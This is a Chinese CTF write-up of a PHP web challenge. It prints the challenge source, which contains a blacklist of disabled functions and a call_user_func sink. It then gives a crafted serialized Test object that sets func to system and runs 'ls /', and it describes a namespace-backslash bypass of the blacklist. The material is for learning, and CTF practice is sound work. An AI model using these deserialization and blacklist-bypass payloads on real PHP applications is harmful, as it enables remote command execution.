一、缺点&&不足
-
抓包不细致,这个题,我抓到了第一个包,没有看到第二个包。
-
没有注意到data可能是个函数,没有进一步去网上查找函数,
-
要时时刻刻注意warning的字样,注意报错信息
-
绕过disabled_function 可以用命名空间 \system
二、WP
抓包,
貌似,date是个函数啊。随便一改,又有报错,而且是 call_users_func。这个在做那个啥杯的时候学习过了,不错的函数
还是先复习一下call_users_func怎么用吧,,这不就找到了么。只写函数名和参数名就好了,不用带括号和什么的。
那就看看eval执行行不行啊。
那就那就,读读源码,
show_source被过滤了,那就试试hightlight_file和 get_file_contents。试过实验,这两个都可以。都可以试试看
只是摘了PHP的那段下来了。:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
/*这就有disabled_function了。那个绕过这个玩意的知识我偷懒没学呢,,,*/
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
//result的类型需要时 string 类型
return $result;
} else {
return "";}
}
/*看到了类中有 destruct 魔术方法,就想一下 反序列化漏洞吧。*/
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
总之,中规中矩,没什么花花肠子,只是不让用 黑名单中的字段 就好。
看到了类中有 destruct 魔术方法,就想一下 反序列化漏洞吧。
这不就有思路了么:
call_users_func( unserialize, ***************** )。后面是反序列化字符串,两个属性就是要执行的命令
你也可以看到。正常输入的话, Test这个类 根本就没用上 。 而且类里面的 __destruct() 这个魔术方法里面还有一个 call_users_func() 。这个也太明显了吧。直接来吧,不多说了,。
方法一、反序列化绕过
构造poc的过程:
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}
$a = new Test();
$a->func="system";
$a->p = "ls /";
echo serialize($a);
//output:O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
。。。。没有flag怎么办
然后就应该排着找了,,,,网上说 一般tmp对普通用户有权限 。那就看看吗
我的tmp里面没有,,,哭了,,那就用linux的搜索命令,,
。。。我的没出来,,,
然后,cat flag就好了
算了算了,,,
方法二:命名空间绕过黑名单:
命名空间绕过黑名单:
了解了命名空间饿了
看wp再学习,
https://www.anquanke.com/post/id/205679
https://www.freesion.com/article/6379840490/